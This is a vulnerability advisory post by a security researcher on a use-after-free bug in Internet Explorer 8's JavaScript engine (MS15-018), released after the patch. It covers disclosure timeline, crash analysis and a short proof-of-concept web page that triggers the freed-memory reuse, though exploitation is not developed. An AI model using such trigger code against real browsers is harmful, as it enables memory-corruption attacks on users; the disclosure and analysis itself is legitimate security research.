This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. November 16th, 2016 MSIE 8 jscript Reg­Exp­Base::FBad­Header use-after-free

Microsoft Internet Explorer 8 jscript Reg­Exp­Base::FBad­Header use-after-free

(MS15-018, CVE-2015-2482)

Synopsis

A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.

Known affected software, attack vectors and mitigations

  • Microsoft Internet Explorer 8

    An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.

Repro.html <!DOCTYPE html> <html> <script> // This Po­C attempts to exploit a use-after-free bug in Microsoft Internet // Explorer 8. // See http://blog.skylined.nl/20161116001.html for details. var r=new Reg­Exp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g"); "A".replace(r, function (){ // Force OLEAUT32 to free the string for (var j = 0; j < 16; j++) new Array(0x1000).join("B"); // Reuse the freed memory r.compile(); }); // This work by Sky­Lined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> </html>

Description

Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit

Exploitation was not investigated.

Time-line

  • March 2015: This vulnerability was found through fuzzing.
  • March 2015: This vulnerability was submitted to ZDI.
  • April 2015: This vulnerability was acquired by ZDI.
  • October 2015: Microsoft addressed this issue in MS15-018.
  • November 2016: Details of this issue are released.
Bug­Id report: AVR:Free iexplore.exe!jscript.dll!Reg­Exp­Base::FBad­Header 6A0257
Id: AVR:Free iexplore.exe!jscript.dll!Reg­Exp­Base::FBad­Header 6A0257
Description: Access violation while reading freed memory at 0x9A15E68
Process binary: iexplore.exe
Location: jscript.dll!Reg­Exp­Base::FBad­Header + 0x6
Security impact: Potentially exploitable security issue
This report was generated using Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports, but try Bug­Id out yourself today!
© Copyright 2024 by Sky­Lined. Last updated on March 23rd, 2024. Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License. If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.